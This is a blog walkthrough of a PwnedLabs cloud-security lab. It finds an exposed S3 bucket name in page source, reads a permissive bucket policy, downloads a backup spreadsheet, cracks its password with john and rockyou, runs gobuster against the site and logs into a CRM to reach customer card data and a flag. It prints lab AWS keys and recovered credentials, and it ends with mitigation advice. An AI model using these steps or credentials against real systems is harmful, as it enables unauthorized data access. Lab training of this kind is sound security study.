PwnedLabs - Exploiting Weak Bucket Policies

Summary

In this blog, we will take a look at the "PwnedLabs - Exploiting Weak Bucket Policies" where the S3 bucket name is been exposed into the source code of a public webpage, the bucket also has weak permissions leading to extraction of backup sensitive credentials file leading to gaining access to WebCRM portal having sensitive data of customers.

Topics Covered

Here are the topics covered in this blog -

  • What is AWS S3 bucket?

  • Lay of the attack chain.

  • S3 Bucket Policies

  • Detailed explanation of the attack steps.

  • Possible defensive measure.

What is AWS S3 Bucket?

I've explained S3 Bucket concept in my previous blog. Please take a read before moving forward.

https://chrollo-dll.gitbook.io/chrollo/security-blogs/cloud-pentesting/aws/pwnedlabs-breach-into-the-cloud#aws-s3-buckets-shorty-introduction

Attack Scenario

Official scenario description.

During a red team engagement for Huge Logistics, your team found the IP address 13.43.144.61 and hardcoded AWS credentials in a shipping application. Your primary objective is to access sensitive data. Using the discovered AWS credentials and the IP address, your goal is to delve deeper into their cloud infrastructure and demonstrate impact.

Before we move forward in the lab. I would like to visualize the whole attack chain.

Firstly, the attacker has credentials of compromised user.

  1. Scanning the provided public IP 13.43.144.61, the port HTTP port 3000 is opened leading to a webpage.

  2. Analyzing the source code of the webpage.

  3. The webpage source code has exposed AWS S3 bucket name hugelogistics-data.

  4. Enumerating S3 bucket policy shows any authenticated AWS can access backup.xlsx

  5. Downloading the backup.xlsx file from the S3 bucket.

  6. Bruteforcing the password of backup.xlsx and then analyzing

  7. Bruteforcing directory endpoint of the HTTP webpage

  8. Loging to the CRM web panel with credentials from backup.xlsx

  9. Analyzing the logs and export it to a document to extract the flag.

Setup

Configure the AWS user keys provided.

root@kali ~/p/weak-bucket-policies# aws configure --profile initial-user
AWS Access Key ID [None]: AKIA3NRSK2PTAS47QEQT 
AWS Secret Access Key [None]: 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 
Default region name [us-east-1]: us-east-1
Default output format [None]:

For this demonstration I've named the profile as "initial-user".

Attack Steps Explanation

We will start with a nmap scan for the public IP provided - 13.43.144.61

root@kali ~/p/weak-bucket-policies# nmap -Pn -sC -sV --top-ports=1000 13.43.144.61
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-16 05:55 EDT
Nmap scan report for ec2-13-43-144-61.eu-west-2.compute.amazonaws.com (13.43.144.61)
Host is up (0.0048s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
110/tcp  open  pop3?
3000/tcp open  http    Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-title: Huge Logistics > Home

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 464.69 seconds

After 10 mins, HTTP port 3000 is opened. Navigate to the webpage.

After that checking the source code of the page.

We can see there is AWS S3 bucket name hugelogistics-data in the source code.

Using AWS CLI S3 commands to enumerate the S3 bucket.

root@kali ~/p/weak-bucket-policies# aws s3 ls hugelogistics-data --profile initial-user --region us-east-1

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
root@kali ~/p/weak-bucket-policies [254]# aws s3 ls hugelogistics-data --no-sign-request --profile initial-user --region us-east-1

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
root@kali ~/p/weak-bucket-policies [254]#

The first command tests for for any authenticated AWS user being granted access to the bucket, while the second command tests for public (anonymous) access to the bucket. We got access denied.

Checking the ACL of the bucket.

root@kali ~/p/weak-bucket-policies# aws s3api get-bucket-acl --bucket hugelogistics-data --profile initial-user --region us-east-1

An error occurred (AccessDenied) when calling the GetBucketAcl operation: Access Denied

We got access denied here as well.

If this is also not working then let's check if we have permission to view any bucket policy. Bucket Policies are attached directly to the bucket and define what actions are allowed or denied by which principal.

root@kali ~/p/weak-bucket-policies# aws s3api get-bucket-policy --bucket hugelogistics-data --profile initial-user --region us-east-1 | jq -r '.Policy' | jq
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "PublicReadForAuthenticatedUsersForObject",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": [
        "s3:GetObject",
        "s3:GetObjectAcl"
      ],
      "Resource": [
        "arn:aws:s3:::hugelogistics-data/backup.xlsx",
        "arn:aws:s3:::hugelogistics-data/background.png"
      ]
    },
    {
      "Sid": "AllowGetBucketPolicy",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "s3:GetBucketPolicy",
      "Resource": "arn:aws:s3:::hugelogistics-data"
    }
  ]
}

From the above output -

  • Any authenticated AWS user globally can access the ACL and the content of the two specified files (backup.xlsx and background.png) in the hugelogistics-data bucket.

  • They can also retrieve the policy of the hugelogistics-data bucket.

Download backup.xlsx file from the S3 bucket.

root@kali ~/p/weak-bucket-policies# aws s3 cp s3://hugelogistics-data/backup.xlsx . --profile initial-user --region us-east-1
download: s3://hugelogistics-data/backup.xlsx to ./backup.xlsx   
root@kali ~/p/weak-bucket-policies# ls
backup.xlsx

The document is password protected so we have to bruteforce it via "John The Ripper" tool. Before that we need to convert the document compatible with the tool format using the "office2john".

root@kali ~/p/weak-bucket-policies# office2john backup.xlsx > hash.txt
root@kali ~/p/weak-bucket-policies# cat hash.txt 
backup.xlsx:$office$*2013*100000*256*16*5e8372cf384ae36827c769ef177230fc*c7367d060cc4cab8d01d887a992fbe2b*a997b2bfbbf996e1b76b1d4f070dc9214db97c19411eb1fe0ef9f5ff49b01904root@kali ~/p/weak-bucket-policies# office2john backup.xlsx > hash.txt
root@kali ~/p/weak-bucket-policies# cat hash.txt 
backup.xlsx:$office$*2013*100000*256*16*5e8372cf384ae36827c769ef177230fc*c7367d060cc4cab8d01d887a992fbe2b*a997b2bfbbf996e1b76b1d4f070dc9214db97c19411eb1fe0ef9f5ff49b01904

After that bruteforce it with "rockyou.txt" wordlist.

root@kali ~/p/weak-bucket-policies# john --rules --wordlist=rockyou.txt hash.txt 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
summertime       (backup.xlsx)     
1g 0:00:00:18 DONE (2024-03-16 06:40) 0.05313g/s 212.5p/s 212.5c/s 212.5C/s 123..summertime
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The password is "summertime" use this password to open the document using LibreOffice.

There are bunch of username and passwords which can be useful. Till now we only have the HTTP website running on port 3000 as our known attack surface. Let's bruteforce the directory in the website using "Gobuster" tool with a standard wordlist of your choice.

root@kali ~/p/weak-bucket-policies# gobuster dir -u http://13.43.144.61:3000/ -w directory-list-lowercase-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://13.43.144.61:3000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 179] [--> /images/]
/contact              (Status: 200) [Size: 7137]
/about                (Status: 500) [Size: 1358]
/login                (Status: 200) [Size: 8673]
/register             (Status: 200) [Size: 10991]
/services             (Status: 200) [Size: 6690]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/js                   (Status: 301) [Size: 171] [--> /js/]
/logout               (Status: 302) [Size: 23] [--> /]
/crm                  (Status: 200) [Size: 9035]
/dashboard            (Status: 302) [Size: 26] [--> /crm]

There is endpoint called "/crm", from the previous document we have a credential set related to WebCRM

admin@huge-logistics.com - 5w8=U5taN]V7

Let's login with these credentials.

Clicking View Invoices Status we see the page below containing their users credit card information.

To get the flag. Export the data into a CSV file

db7b876d88b1105b23164b6434b00f34

Defense Mechanism

Here are the several reason responsible for this attack along with the possible mitigation.

  • The HTML source code should be clean to avoid exposing the S3 buckets which is not planned to be exposed.

  • The bucket policy is overly permissive with any authenticated AWS IAM user can interact with it. So it is recommended to design policies in line with the principle of least privilege, providing resource access to only those that need it.

  • The backup.xlsx is a sensitive file and shouldn't be placed in S3 bucket which is publicly exposed. rahter stored in some other private S3 bucket.

  • The backup.xlsx has a very weak password which as easily cracked. Having a strong password policy to protect the document is recommneded.

  • Instead of storing sensitive credentials in a spreadsheet it is recommeneded to use apassword management solution like LastPass or Dashlane, a PAM solution or AWS SecretsManager, where the credentials can be provided as needed only to those authorized to access them.

  • The company was also found to be storing unencrypted customer credit card details. Additionally for a public facing website it is recommended to enable MFA for all users.

Thanks for reading ☺️

Last updated